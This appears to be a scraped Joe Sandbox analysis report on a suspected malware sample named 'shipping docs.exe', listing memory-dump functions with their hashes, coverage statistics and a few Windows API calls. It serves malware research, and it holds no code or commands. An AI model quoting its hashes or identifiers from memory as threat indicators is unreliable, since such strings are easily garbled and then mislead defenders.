Uniqueness Score: -1.00%

Function 0097D49B Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.265063261.000000000097D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0097D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_97d000_shipping docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4ebfea70809b752dd87daf1091c6fefd11053e22c75fac3715a094701740d1c
Instruction ID: af373f5cd5ab9dd84192936ee150da74f57e99731d9bba4ffeeb2d968ecaa27e
Opcode Fuzzy Hash: a4ebfea70809b752dd87daf1091c6fefd11053e22c75fac3715a094701740d1c
Instruction Fuzzy Hash: 5C11B1B6804280CFDB12CF14D5C4B56BF72FF84324F24C6A9E8094B65AC336D856CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0098D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.265096750.000000000098D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0098D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_98d000_shipping docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 918b5a484225ea750dc867420c5dc02e162b71f4ae55fd38ff69526cb1fe86f3
Instruction ID: 51a15ab84c3736e04c439dbb2fb0b0c054e7447292ad38d9687518b2923fe721
Opcode Fuzzy Hash: 918b5a484225ea750dc867420c5dc02e162b71f4ae55fd38ff69526cb1fe86f3
Instruction Fuzzy Hash: 5F118B75904280DFDB11DF14D5C4B15BBB1FB84324F28C6AAD8494B796C33AD84ACB61

Uniqueness

Uniqueness Score: -1.00%

Function 0097D745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.265063261.000000000097D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0097D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_97d000_shipping docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13790c96f0af6ff542d40f08f18bda87fbe6c69a1aa4bb84d3791d4e5d14810b
Instruction ID: 8ce8536ae927f289b37e23b565fb4879a1ae8aad041c80c69fb5ea0f9732ef98
Opcode Fuzzy Hash: 13790c96f0af6ff542d40f08f18bda87fbe6c69a1aa4bb84d3791d4e5d14810b
Instruction Fuzzy Hash: 0401F7B20093849AE7184A15CC84B66BBACEF81378F18C55AED0C4A246D3789C44C6B1

Uniqueness

Uniqueness Score: -1.00%

Function 0097D744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.265063261.000000000097D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0097D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_97d000_shipping docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 332b60ac8ce794aeb85ccfb7b2b9f72d3f64a2105ee73b5108fb141b59dd9f94
Instruction ID: 52d3d717f6b7cfa3438a4054371f641df5cab8b961c12bc2c8287d1f6372d4a6
Opcode Fuzzy Hash: 332b60ac8ce794aeb85ccfb7b2b9f72d3f64a2105ee73b5108fb141b59dd9f94
Instruction Fuzzy Hash: D9F062724053449AE7148E1ACCC8B62FBACEF91774F18C45AED485B286C3799C44CAB1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 04486628 Relevance: .4, Instructions: 361COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.277251037.0000000004480000.00000040.00000800.00020000.00000000.sdmp, Offset: 04480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4480000_shipping docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c7a06c931d24b077eb5b669b4316bb643e41e57859468b6f6635b2d28c7dd04
Instruction ID: 7597f4c4299fad229176d9ff58176462413932a3f45e168e1dbf88fe1ebb8cb6
Opcode Fuzzy Hash: 5c7a06c931d24b077eb5b669b4316bb643e41e57859468b6f6635b2d28c7dd04
Instruction Fuzzy Hash: 93D1BA70B016048FEB69EB76C450B6FB7E6AF89700F1184AED14A9B391DF35E901CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00B7E2D8 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.265338722.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_shipping docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c695e56b5055ff758dfaad9a1b9897173edf66ba25dce41f327ee05d76ce951d
Instruction ID: 7a32afc674ad18936905afea8e199a3b8084dd0178397686e1829721a9efa239
Opcode Fuzzy Hash: c695e56b5055ff758dfaad9a1b9897173edf66ba25dce41f327ee05d76ce951d
Instruction Fuzzy Hash: C612A6F1429F86CBD310CF65EDD82893BA1B74432CB964328D2615EAF1D7B8194AEF44

Uniqueness

Uniqueness Score: -1.00%

Function 04485C18 Relevance: .3, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.277251037.0000000004480000.00000040.00000800.00020000.00000000.sdmp, Offset: 04480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4480000_shipping docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d24eb1ec0ef08d583f37e2b7c83adfad7bf85c971d468394c08d47729abb582
Instruction ID: 3c00474925da7ea638b70338ee267a4f5b3a4f633c221f7189c06955fd6c0c7a
Opcode Fuzzy Hash: 5d24eb1ec0ef08d583f37e2b7c83adfad7bf85c971d468394c08d47729abb582
Instruction Fuzzy Hash: 86D1B134A006048FDB18EF69C598AADB7F1BF8D705F6580A9E509EB361DB31AD41CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00B7BFC4 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.265338722.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_shipping docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e874add4d60e2d25b6b08c043c0847723070bfcb6fbe9988bf7cb67eaffa2a49
Instruction ID: 92ca886b21db55bcf9da4c95927f8426a25656426ec5bdd1b8db9b17ba0e817c
Opcode Fuzzy Hash: e874add4d60e2d25b6b08c043c0847723070bfcb6fbe9988bf7cb67eaffa2a49
Instruction Fuzzy Hash: 89A13E36E10219CFCF19DFA5C84459EBBF2FF85300B1585AAE919AB221DB71AD45CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00B7E2C8 Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.265338722.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_shipping docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 478209200483a2b9a7ea035c9672e672d3c92243c99151caa1c175313212dfde
Instruction ID: 9571967bbab5570744aedf9dda2d857133f7f6b585b81ba9ac05801d9325f4b5
Opcode Fuzzy Hash: 478209200483a2b9a7ea035c9672e672d3c92243c99151caa1c175313212dfde
Instruction Fuzzy Hash: EDC11DB1429B86CBD710CF65EDC81893BA1BB4532CF964328D2616F6F1D7B41846EF44

Uniqueness

Uniqueness Score: -1.00%

Function 044810A1 Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.277251037.0000000004480000.00000040.00000800.00020000.00000000.sdmp, Offset: 04480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4480000_shipping docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35869a857c042985c89405a99581fe5540cfee0e559c0cabc6647e708c92c3e4
Instruction ID: 5db8bc94ba079513f7dad7407a0f2f70add202cc3e00ed368cd3754b8633082f
Opcode Fuzzy Hash: 35869a857c042985c89405a99581fe5540cfee0e559c0cabc6647e708c92c3e4
Instruction Fuzzy Hash: D281FA74E0525ACF8F04DFA9D8415AEFBB1EF89200F10942BD816B7754E734AA028F94

Uniqueness

Uniqueness Score: -1.00%

Function 044810B0 Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.277251037.0000000004480000.00000040.00000800.00020000.00000000.sdmp, Offset: 04480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4480000_shipping docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f136d4999d61724f3a2468f980d548d5451190a72fc6e1e01f966c81ea501c2d
Instruction ID: 865c0aa1676e4eb36f9b0bfc227bdc0536a91208c663a4a9abba4f6cdca6d8e0
Opcode Fuzzy Hash: f136d4999d61724f3a2468f980d548d5451190a72fc6e1e01f966c81ea501c2d
Instruction Fuzzy Hash: DB810B74E0925ACF8F04DFEAD9415AEFBB1EF89210F10942BD416B7754E734AA028F94

Uniqueness

Uniqueness Score: -1.00%

Function 04480800 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.277251037.0000000004480000.00000040.00000800.00020000.00000000.sdmp, Offset: 04480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4480000_shipping docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53c600677e941dc348f7d00120b2ffa7eb05528a877832cf6fc3001752ec8098
Instruction ID: 0709ffe59d0f6984cbc1b681042260354ea8e4a5dede905d2fdea8784ca0bbb2
Opcode Fuzzy Hash: 53c600677e941dc348f7d00120b2ffa7eb05528a877832cf6fc3001752ec8098
Instruction Fuzzy Hash: 8E813D70E141299BDB14DFA9C9809AEFBF3BF89305F25C56AD408A7256D730AD41CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 04480810 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.277251037.0000000004480000.00000040.00000800.00020000.00000000.sdmp, Offset: 04480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4480000_shipping docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f460cfe460b229069e0b6546be63ab0d507291dce60635618bddc33d7044ac6
Instruction ID: 61c8d3a86a696fa8d237483ab1fbd84c35d500edebe961c031f55712907ce841
Opcode Fuzzy Hash: 5f460cfe460b229069e0b6546be63ab0d507291dce60635618bddc33d7044ac6
Instruction Fuzzy Hash: 9B813A70E141298BDB14DFA9C9809AEFBF3BF89305F25C56AD408A7216D730AD41CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 04481668 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.277251037.0000000004480000.00000040.00000800.00020000.00000000.sdmp, Offset: 04480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4480000_shipping docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1975377916467044a0ab68e0569bdf281ab8e24621ab82e97d891dd6ec2836f8
Instruction ID: 2ab0e87e5fa7539d9e9d52ed3a3cee8434f00f89581c0f1519dbe38411a313c6
Opcode Fuzzy Hash: 1975377916467044a0ab68e0569bdf281ab8e24621ab82e97d891dd6ec2836f8
Instruction Fuzzy Hash: D9712B71E0162ACBDB64DF66D94479DB7B2FF99300F1082EAD50DA7210EB706A81DF40

Uniqueness

Uniqueness Score: -1.00%

Function 04481658 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.277251037.0000000004480000.00000040.00000800.00020000.00000000.sdmp, Offset: 04480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4480000_shipping docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d3dbc25e7cbc489dbe8676a5e949f494f688d03495f8be3ae7ea7fb0378a316
Instruction ID: fd28fb781482cde539e2c18b9308e161f99b9407ac30b38c74ca2be933f0f72b
Opcode Fuzzy Hash: 8d3dbc25e7cbc489dbe8676a5e949f494f688d03495f8be3ae7ea7fb0378a316
Instruction Fuzzy Hash: 83614E71E0161ACBDB24DF66D984799BBB2FF99300F1486EAD509A7210EB705EC1DF40

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: shipping docs.exePID: 3776, Parent PID: 2400COMMON

Execution Graph

Execution Coverage:	19.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0.6%
Total number of Nodes:	802
Total number of Limit Nodes:	28

Executed Functions

Function 0684DA38 Relevance: 2.6, APIs: 1, Instructions: 1135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.552253904.0000000006840000.00000040.00000800.00020000.00000000.sdmp, Offset: 06840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6840000_shipping docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a078ac258af679c399f6afd9fd6f9377782226a9ac8a33d52af3721601ee982
Instruction ID: 41a557cf1fd7f333c595ce3e6aff5f87d2f0e0367e8be8a4ad183957c3d7fde0
Opcode Fuzzy Hash: 4a078ac258af679c399f6afd9fd6f9377782226a9ac8a33d52af3721601ee982
Instruction Fuzzy Hash: AC928930F002188FDB94ABB4D8586AEBBF6AF88308F158569D505DB391EB74DC45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 066FF910 Relevance: 6.1, APIs: 4, Instructions: 132threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 066FF980
GetCurrentThread.KERNEL32 ref: 066FF9BD
GetCurrentProcess.KERNEL32 ref: 066FF9FA
GetCurrentThreadId.KERNEL32 ref: 066FFA53

Memory Dump Source

Source File: 00000003.00000002.550173381.00000000066F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_66f0000_shipping docs.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: b55524448d6834dfb54f83b6934c7058cce3f824937d77ede84df952ddf51d28
Instruction ID: 6c492f23b5d7a8c60e1b7d06f7fa6e6d1e99096d24096795f50152ac1c3cc326
Opcode Fuzzy Hash: b55524448d6834dfb54f83b6934c7058cce3f824937d77ede84df952ddf51d28
Instruction Fuzzy Hash: 1D5177B09006498FCB50CFA9D948BEEBBF1FF48314F14805AE548A7350C7345984CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 066FF920 Relevance: 6.1, APIs: 4, Instructions: 120threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 066FF980
GetCurrentThread.KERNEL32 ref: 066FF9BD
GetCurrentProcess.KERNEL32 ref: 066FF9FA
GetCurrentThreadId.KERNEL32 ref: 066FFA53

Memory Dump Source

Source File: 00000003.00000002.550173381.00000000066F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_66f0000_shipping docs.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 06a0713847183a9961508dee3197c018ea13eb7668ae69e54276cbc85920ef4a
Instruction ID: 0b209eb5240ade52d31226a76b9a592bff46c5be0821b313a81061cea796beb2
Opcode Fuzzy Hash: 06a0713847183a9961508dee3197c018ea13eb7668ae69e54276cbc85920ef4a
Instruction Fuzzy Hash: 015155B09006498FDB50CFA9D988BAEBBF1FF48314F24806AE519A7350C7749884CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 061F9C10 Relevance: 3.4, APIs: 2, Instructions: 361COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 061F9D24
KiUserExceptionDispatcher.NTDLL ref: 061FA0A0

Memory Dump Source

Source File: 00000003.00000002.548518531.00000000061F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61f0000_shipping docs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: a2b9b66aec84f921cda3afe067c3e9d7bd8a96c9f34f123564a401ba29ca41b4
Instruction ID: 26be1a4e5a1e598e123e760d14a10f3287f19de8af33f5b8cbf4ba97f24b7e52
Opcode Fuzzy Hash: a2b9b66aec84f921cda3afe067c3e9d7bd8a96c9f34f123564a401ba29ca41b4
Instruction Fuzzy Hash: BF12D834902259CFDB68DF74D898A9CB7B2BF49306F1085E9D60A66350CB359EC2CF61

Uniqueness

Uniqueness Score: -1.00%

Function 061F9C31 Relevance: 3.4, APIs: 2, Instructions: 361COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 061F9D24
KiUserExceptionDispatcher.NTDLL ref: 061FA0A0

Memory Dump Source

Source File: 00000003.00000002.548518531.00000000061F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61f0000_shipping docs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: cd6917b0ca146c67969f9fa9de1d7c7e46c3c5bdc69ae885712671f2c614bb91
Instruction ID: 34afd92ffe3dfcd7967503daf963d1aefc41c66542b5aa4d734b179b9c2056d6
Opcode Fuzzy Hash: cd6917b0ca146c67969f9fa9de1d7c7e46c3c5bdc69ae885712671f2c614bb91
Instruction Fuzzy Hash: 8D12C934902259CFDB68DF74D898A9CB7B2BF49306F1085E9D60A66350CB359EC2CF61

Uniqueness

Uniqueness Score: -1.00%

Function 061F9C76 Relevance: 3.4, APIs: 2, Instructions: 354COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 061F9D24
KiUserExceptionDispatcher.NTDLL ref: 061FA0A0

Memory Dump Source

Source File: 00000003.00000002.548518531.00000000061F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61f0000_shipping docs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 959c42499c89c26103e17f623cccdbf1f6f68272948242ecd07f737ef24dbad4
Instruction ID: fd95b60d35860e1521007e3e8f30fc2f77000eb45d108f27b53cfe8d8cc18f8c
Opcode Fuzzy Hash: 959c42499c89c26103e17f623cccdbf1f6f68272948242ecd07f737ef24dbad4
Instruction Fuzzy Hash: 2102C934912258CFDB68DF74D898A9CB7B2BF49306F1085E9D60A66350CB359EC2CF61

Uniqueness

Uniqueness Score: -1.00%

Function 061F9CBB Relevance: 3.3, APIs: 2, Instructions: 347COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 061F9D24
KiUserExceptionDispatcher.NTDLL ref: 061FA0A0

Memory Dump Source

Source File: 00000003.00000002.548518531.00000000061F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61f0000_shipping docs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: a16fba03a33cf24c5e54bda42c4bd90ef6b9ae45d24162553225ddac7423be1b
Instruction ID: 2eab353a361e5e0be093e885f915313d04b087400caeea7efbb18e131faa6d7c
Opcode Fuzzy Hash: a16fba03a33cf24c5e54bda42c4bd90ef6b9ae45d24162553225ddac7423be1b
Instruction Fuzzy Hash: 3F02C834902258CFDB68DF74D898A9CB7B2BF49306F1085E9D60A66350CB359EC2CF61

Uniqueness

Uniqueness Score: -1.00%

Function 061F9D00 Relevance: 3.3, APIs: 2, Instructions: 340COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 061F9D24
KiUserExceptionDispatcher.NTDLL ref: 061FA0A0

Memory Dump Source

Source File: 00000003.00000002.548518531.00000000061F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61f0000_shipping docs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: c5fa9e37b772be690a375677ace0e9c71a3948d7f5917ccecc28e7d75f943e1c
Instruction ID: 87f6f81c421c8fac0752b41c6013299fe96d42b877e41e10b4dfeb4d45845ea5
Opcode Fuzzy Hash: c5fa9e37b772be690a375677ace0e9c71a3948d7f5917ccecc28e7d75f943e1c
Instruction Fuzzy Hash: EC02C834902258CFDB68DF74D898A9CB7B2BF49306F1045E9D60A66350CB359EC2CF61

Uniqueness

Uniqueness Score: -1.00%

Function 061F9D5B Relevance: 1.8, APIs: 1, Instructions: 329COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 061FA0A0

Memory Dump Source

Source File: 00000003.00000002.548518531.00000000061F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61f0000_shipping docs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: b24d634db48130f1b85a52c1abd7ac784be43618e1f6b7b9ac645f98ec51cae5
Instruction ID: 36b5273f0d3700d06def81d8fd9d5e5933a606e1d2716f212524705c361d768f
Opcode Fuzzy Hash: b24d634db48130f1b85a52c1abd7ac784be43618e1f6b7b9ac645f98ec51cae5
Instruction Fuzzy Hash: CD02C834906218CFDB68DF74D898A9CB7B2BF49306F1045E9D60A66350CB799EC2CF61

Uniqueness

Uniqueness Score: -1.00%

Function 061F9DA0 Relevance: 1.8, APIs: 1, Instructions: 320COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 061FA0A0

Memory Dump Source

Source File: 00000003.00000002.548518531.00000000061F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61f0000_shipping docs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 4e4f21b7ff06d92600a3ad9470f89c7912af54e1697fa38aa0a32b0e2ba04075
Instruction ID: a6256ca15da608abdebbe2a5a3c40f82b89078441e11650412ac6776ea111e41
Opcode Fuzzy Hash: 4e4f21b7ff06d92600a3ad9470f89c7912af54e1697fa38aa0a32b0e2ba04075
Instruction Fuzzy Hash: A2F1C734902258CFDB68DF74D898A9CB7B2BF49306F1045E9D60A66350CB399EC2CF61

Uniqueness

Uniqueness Score: -1.00%

Function 061F9DDC Relevance: 1.8, APIs: 1, Instructions: 315COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 061FA0A0

Memory Dump Source

Source File: 00000003.00000002.548518531.00000000061F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61f0000_shipping docs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: e40631e8a59a96e54093bc0672dd4de8e27670116e521520c4689001efa48b36
Instruction ID: 9a284cfdce034d083ebdd61d5ab70bb225b1519174a24c3731d7b29c231804eb
Opcode Fuzzy Hash: e40631e8a59a96e54093bc0672dd4de8e27670116e521520c4689001efa48b36
Instruction Fuzzy Hash: CBF1C734906258CFDB68DF74D898A9CB7B2BF49306F1045E9D60A66350CB399EC2CF61

Uniqueness

Uniqueness Score: -1.00%

Function 061F9E21 Relevance: 1.8, APIs: 1, Instructions: 308COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 061FA0A0

Memory Dump Source

Source File: 00000003.00000002.548518531.00000000061F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61f0000_shipping docs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: fb6dcba99297b9192954e82802bc328747a474e8836763402dfbf67143adaa77
Instruction ID: 58c2d94ab182c9ea406c3a146a83fb15c126bf6dc803ebc90d849dbbd3f35568
Opcode Fuzzy Hash: fb6dcba99297b9192954e82802bc328747a474e8836763402dfbf67143adaa77
Instruction Fuzzy Hash: 7FF1C834906258CFDB68DF74D898A9CB7B2BF49306F1045E9D60A66350CB399EC2CF61

Uniqueness

Uniqueness Score: -1.00%

Function 061F9E66 Relevance: 1.8, APIs: 1, Instructions: 301COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 061FA0A0

Memory Dump Source

Source File: 00000003.00000002.548518531.00000000061F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61f0000_shipping docs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: d0a71ca3cbf9a3686a4c506afd8ad571df48dd9704e9654487df005afd1e7fe1
Instruction ID: 7df3b73672f2ebece6b3914cc1a82f8b36f4ed2d7fc0fc45dfdec47cce93286a
Opcode Fuzzy Hash: d0a71ca3cbf9a3686a4c506afd8ad571df48dd9704e9654487df005afd1e7fe1
Instruction Fuzzy Hash: 31F1B734906258CFDB68DF74D898A9CB7B2BF49306F1045E9D60A66350CB399EC2CF61

Uniqueness

Uniqueness Score: -1.00%

Function 061F9EAB Relevance: 1.8, APIs: 1, Instructions: 294COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 061FA0A0

Memory Dump Source

Source File: 00000003.00000002.548518531.00000000061F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61f0000_shipping docs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: ef2a553a6ad1cf8e029cbf3a168699f5ee22221f67da963f4150a3867fbc6ffd
Instruction ID: 3b06e132776348ddece960b8fb92c05d8e3152c6720f97bd1df5afd3765182e8
Opcode Fuzzy Hash: ef2a553a6ad1cf8e029cbf3a168699f5ee22221f67da963f4150a3867fbc6ffd
Instruction Fuzzy Hash: 08E1B734906258CFDB68DF64D898A9CB7B2BF49306F1045E9D60E66350CB399EC2CF61

Uniqueness

Uniqueness Score: -1.00%

Function 061F9EF0 Relevance: 1.8, APIs: 1, Instructions: 287COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 061FA0A0

Memory Dump Source

Source File: 00000003.00000002.548518531.00000000061F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61f0000_shipping docs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: cc1f81d3a0ad603fb2816931bf7c12a275bd72200000014f02d183102a1fc88a
Instruction ID: b4fc29ce9fd472306d2e7d8ba812a06b6e2ceab703d7b65d6e08de4aad0edde9
Opcode Fuzzy Hash: cc1f81d3a0ad603fb2816931bf7c12a275bd72200000014f02d183102a1fc88a
Instruction Fuzzy Hash: 00E1C734906218CFDB68DF64D898A9CB7B2BF49306F1045E9D60E66350CB399EC2CF61

Uniqueness

Uniqueness Score: -1.00%

Function 061F9F35 Relevance: 1.8, APIs: 1, Instructions: 278COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 061FA0A0

Memory Dump Source

Source File: 00000003.00000002.548518531.00000000061F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61f0000_shipping docs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: ba7d0b689ac59d75a1b560fef4f40accebeb6595d3cf4f96fb5d0f6817811c98
Instruction ID: 51586a2a66f9aaa44f76a58757811c10e20e827609226fb142409087f39261ed
Opcode Fuzzy Hash: ba7d0b689ac59d75a1b560fef4f40accebeb6595d3cf4f96fb5d0f6817811c98
Instruction Fuzzy Hash: B2E1B734906258CFDB68DF64D898A9CB7B2BF49306F1045E9D60E66350CB399EC2CF61

Uniqueness

Uniqueness Score: -1.00%

Function 061F9F71 Relevance: 1.8, APIs: 1, Instructions: 273COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 061FA0A0

Memory Dump Source

Source File: 00000003.00000002.548518531.00000000061F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_61f0000_shipping docs.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 279087d188cf819b7f6b30d8aa8fcf69b1c0fc1d208f7fe302cc31c8b6b48c85
Instruction ID: 5ddfea562235f9749f02877403ed1b0e0a00654cb14f92f833d0d1e7b1469d8a
Opcode Fuzzy Hash: 279087d188cf819b7f6b30d8aa8fcf69b1c0fc1d208f7fe302cc31c8b6b48c85
Instruction Fuzzy Hash: 29E1C734906218CFDB68DF64D898A9CB7B2BF49306F1045E9D60E66350CB799EC2CF61

Uniqueness

Uniqueness Score: -1.00%

Function 061F9FB6 Relevance: 1.8, APIs: 1, Instructions: 266COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 061FA0A0
